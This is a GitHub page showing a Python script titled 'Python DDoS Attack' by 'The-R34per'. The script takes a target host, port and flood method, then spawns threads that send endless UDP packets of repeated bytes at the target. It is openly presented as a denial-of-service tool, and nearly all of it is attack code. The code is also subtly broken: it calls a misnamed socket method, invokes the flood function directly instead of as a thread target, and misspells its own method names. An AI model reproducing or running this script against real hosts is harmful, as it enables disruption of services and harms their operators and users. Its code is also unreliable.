-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPython-DDoS-Script.py
More file actions
85 lines (76 loc) · 6.24 KB
/
Python-DDoS-Script.py
File metadata and controls
85 lines (76 loc) · 6.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import sys
import socket
import threading
host = str(sys.argv[1])
port = int(sys.argv[2])
method = str(sys.argv[3])
print('''
................................................:::-:.................... . --:.....................
..........:::::...........::::::::::--======.##########.======---------==.. ===:-:..................
====-:-----=============================##########.##=.. ================.. ===-----:::::...........
======================================############..#= ===============.. ==.=====================
====================================############....#. ===============.. ==.=====================
=================================############## #. ==============.. ========================
==============================. ############= #. =============#. ========================
================================. ###.#.#. #. ============.. ========================
================================= .#..# .. ===========.. ========================
================================= .. ==========-##.========================
=================================@ . =========.# ========================
==================================. . =======.. =======================
===================================# . #. ======@. =======================
======-============================@ # #. ##. ======. ========================
==..##..#######............=========# . . #####.... -=.== =.=====================
==..######@########################### . ##### ##.... = = ##==#..######........===
==..###=@=@########################### ####.##. . . #@.##################===
==..###===############################# #=#######= .: =. .#############===@===
==..###=################################ ###### . = =####..#######====*@==
==..###.################################ . = == =- .############=====@==
*=..###=#@############################## = = =-###########========
@=..###=##.############################# #.# .. .= ############====@===
@=..###=###############################* ### #. .############====@===
@=..###=##.############################. ### #. . #################===
@=..###=##=############################= @.# #. . ################===
@=..###=##################################### ##= ##############=#===
@=..###=###############.=########@###### #.###.. .###########@====@@@
@=..###=############..## .## ###### #### ###########%====..:
....###=##@@#######....... ##### # ##= #= = .##########-.### ..
....##############.. . :#=#.. #. = ...--:...........
.. .############. .. # .####- =.- = ##.....:.........
..........###. .... .###.### #- ## = = #####.#=.........
.............. .#...... . ####### #####. .#....... ... ...
............############ #. .#. .== .. .....##........
...#########.##########: # ... . .#.+..-#..#......
####################.. .#. . . ...:.#............
#......## #..... ### ..................
████████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ ███████╗██████╗
╚══██╔══╝██║ ██║██╔════╝ ██╔══██╗ ╚════██╗██║ ██║██╔══██╗██╔════╝██╔══██╗
██║ ███████║█████╗ █████╗ ██████╔╝ █████╔╝███████║██████╔╝█████╗ ██████╔╝
██║ ██╔══██║██╔══╝ ╚════╝ ██╔══██╗ ╚═══██╗╚════██║██╔═══╝ ██╔══╝ ██╔═██╗
██║ ██║ ██║███████╗ ██║ ██║██████╔╝ ██║██║ ███████╗██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
Python DDoS Attack
By: The-R34per
''')
sys.stdout.flush()
loops = int(input("Enter amount of times to run the program: "))
def send_packet(amplifier):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsocket(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((str(host), int(port)))
while True:
s.send(b"\x99" * amplifier)
except:
return s.close()
def attack_HQ():
if method == "UPD-FLOOD":
for sequence in range(loops):
threading.Thread(target=send_packet(375), daemon=True).start()
if method == "UPD-Power":
for sequence in range(loops):
threading.Thread(target=send_packet(750), daemon=True).start()
if method == "UDP-Mix":
for sequence in range(loops):
threading.Thread(target=send_packet(375), daemon=True).start()
threading.Thread(target=send_packet(750), daemon=True).start()
attack_HQ()